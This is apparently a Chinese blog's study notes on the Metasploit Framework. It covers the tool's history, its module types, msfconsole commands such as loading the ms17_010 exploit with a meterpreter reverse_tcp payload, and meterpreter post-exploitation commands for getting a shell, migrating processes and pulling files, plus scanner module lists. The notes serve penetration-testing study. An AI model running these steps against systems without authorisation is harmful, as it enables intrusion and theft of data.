【笔记】msf学习笔记

前言

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。(维基百科

本文仅用于网络信息防御学习

发展历史

  • 2003年10月 HD Moore 使用 Perl语言 开发了 Metasploit v1.0
  • 2004年4月 在 Spoonm 的帮助下,完全重写了 Metasploit 的代码。主要更新:18个攻击模块和27个攻击载荷,并提供了控制台终端、命令行、Web三个使用接口
  • 2004年8月 HD 和 Spoonm 带着最新发布的 Metasploit v2.0 在拉斯维加斯举办的BlackHat全球开发者大会上进行了演讲
  • 2005年 在CanSecWest和黑客会议上,HD 和 Spoonm 指出Perl版本的Metasploit有很多问题,经历了18个月之后,Metasploit团队使用Ruby语言完全重写了Metasploit,发布了Metasploit v3.0。主要更新:177个攻击模块、104个攻击载荷、30个辅助模块
  • 2009年10月 Metasploit被Rapid7公司收购
  • 2010年10月 Rapid7公司发布了商业版本:Metasploit Express、Metasploit Pro
  • 2011年8月 Metasploit 团队发布了v4.0版本。主要更新:引入了后渗透攻击模块(用于长期权限位置和攻击成果扩展)
  • 2019年1月 Metasploit 团队发布了v5.0版本。主要更新:引入了新模块evasion capabilities(用于杀软免杀)

技术架构

  • 辅助模块:为渗透测试的信息收集环节提供了支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄漏、Fuzz测试发掘漏洞、实施网络协议欺骗等
  • 渗透攻击模块:利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取远程目标系统访问权
    • 主动渗透攻击:主动渗透攻击所利用的漏洞位于服务端软件与服务承载上层应用程序中
    • 被动渗透攻击:被动渗透攻击所利用的漏洞位于客户端软件中,例如:浏览器、浏览器插件、电子邮件客户端等
  • 攻击载荷模块:在渗透攻击成功后使目标系统运行一段植入代码,通常用于为渗透这打开在目标系统上的控制会话连接
  • 空指令模块:一些对程序运行不会构成任何实质影响的空指令或者无关操作指令,例如:在x86架构的CPU主机上操作码是0x90
  • 编辑器模块:确保攻击载荷中不会出现渗透攻击过程中应加以避免的坏字符;对攻击载荷进行免杀处理
  • 后渗透模块:提供攻击跳板
  • 免杀模块:对载荷进行免杀处理

Metasploit Framework

安装

1
apt install metasploit-framework
  • 安装位置:/usr/share/metasploit-framework

更新

1
msfupdate
  • 虽然可以使用更新命令,但是还是提示使用apt重装
1
apt install metasploit-framework

初始化漏洞数据库

  • 首次使用
1
msfdb init

启动msf控制台

1
msfconsole

msf命令

查找漏洞

17:指的是漏洞发现的年份
010:指的是当年发现的漏洞的编号

1
msf > search ms17_010

使用漏洞利用的模块

  • 一个模块就是一个.rb的Ruby脚本

<name>:模块名

1
msf > use <name>
  • 模块的位置:/usr/share/metasploit-framework/modules

查看漏洞所有详情

1
msf exploit(...) > info

查看漏洞选项详情

1
msf exploit(...) > show options

查看可用的攻击手段

1
msf exploit(...) > show payloads

查看可执行的操作系统

1
msf exploit(...) > show targets

设置漏洞利用的参数

  • 根据列出的Module options,查看所有选项,然后查看必选选项,也就是Required字段为yes的数据,如果此条数据的Current Setting为空,需要添加参数

RHOST:参数名
127.0.0.1:参数值

1
msf exploit(...) > set RHOST 127.0.0.1

设置漏洞利用的攻击手段

  • 根据列出的Payload options,查看所有选项,然后查看必选选项,也就是Required字段为yes的数据,如果此条数据的Current Setting为空,需要添加参数

payload/windows/x64/meterpreter/reverse_tcp:攻击手段名

1
msf exploit(...) > set payload payload/windows/x64/meterpreter/reverse_tcp

开始执行漏洞利用

1
msf exploit(...) > exploit

返回使用脚本之前

1
msf exploit(...) > back

meterpreter命令

  • 获取反弹shell后的命令

查看可以对对方使用的所有命令

1
meterpreter > help

meterpreter终端隐藏在后台

  • 将meterpreter终端隐藏在后台,继续使用msf终端
1
meterpreter > background

查看已成功获取的会话

-i:切入后台会话

1
meterpreter > session

获取对方系统Shell

1
meterpreter > shell

关闭当前Meterpreter会话

1
meterpreter > quit

类似Shell命令的基本命令

<src>:切换的路径
<file>:文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 切换路径
meterpreter > cd <src>

# 查看当前路径下的文件
meterpreter > ls

# 查看当前所在的路径
meterpreter > pwd

# 查看文件内容
meterpreter > cat <file>

# 使用vim编辑器打开指定文件
meterpreter > edit <file>

搜索文件

1
2
3
4
5
# 查看帮助
meterpreter > search -h

# 搜索文件
meterpreter > search -f *.txt

查看配置信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看系统信息
meterpreter > sysinfo

# 查看当前用户(权限)
meterpreter > getuid

# 查看所有进程
meterpreter > ps

# 查看当前进程id
meterpreter > getpid

# 查看网卡信息
meterpreter > ifconfig
meterpreter > ipconfig

# 查看路由信息
meterpreter > route

切换进程

  • 将当前的进程切换(附加)到另一个进程上(Windows上通常切换到explorer.exe上)
  • 只能从高权限用户的进程切到低权限用户的进程

<pid>:进程编号

1
meterpreter > migrate <pid>

上传/下载文件

上传文件

  • 把本机的指定文件上传到目标的当前目录下

<file>:本机的指定文件路径

1
meterpreter > upload <file>

下载文件

  • 把目标的文件下载到本机的当前目录下

<file>:目标的指定文件路径

1
meterpreter > download <file>

执行文件

  • 执行目标的可执行文件并返回运行后的进程id

<file>:目标的文件路径

1
2
3
4
5
# 查看帮助
meterpreter > execute -h

# 执行文件
meterpreter > execute -f <file>

结束进程

  • 根据进程id关闭指定程序的进程

<pid>:进程id

1
meterpreter > kill <pid> 

关机

1
meterpreter > shutdown

屏幕快照

  • 在本机当前路径下生成一个随机文件名的目标屏幕快照文件
1
meterpreter > screenshot

常用的漏洞利用模块

敏感目录扫描

auxiliary/scanner/http/dir_scanner

主机发现

auxiliary/scanner/discovery/arp_sweep:ARP扫描,枚举网络中所有的活跃主机
auxiliary/scanner/discovery/empty_udp:空扫描
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep

端口扫描

auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn:扫描速度较快,结果比较准,不易被察觉
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp

服务查点

auxiliary/scanner/telnet/telnet_version:查看是否开启telnet服务
auxiliary/scanner/ssh/ssh_version:查看是否开启ssh服务
auxiliary/scanner/mssql/mssql_ping:查看是否开启Microsoft SQL Server服务

完成

参考文献

哔哩哔哩——千锋教育网络安全学院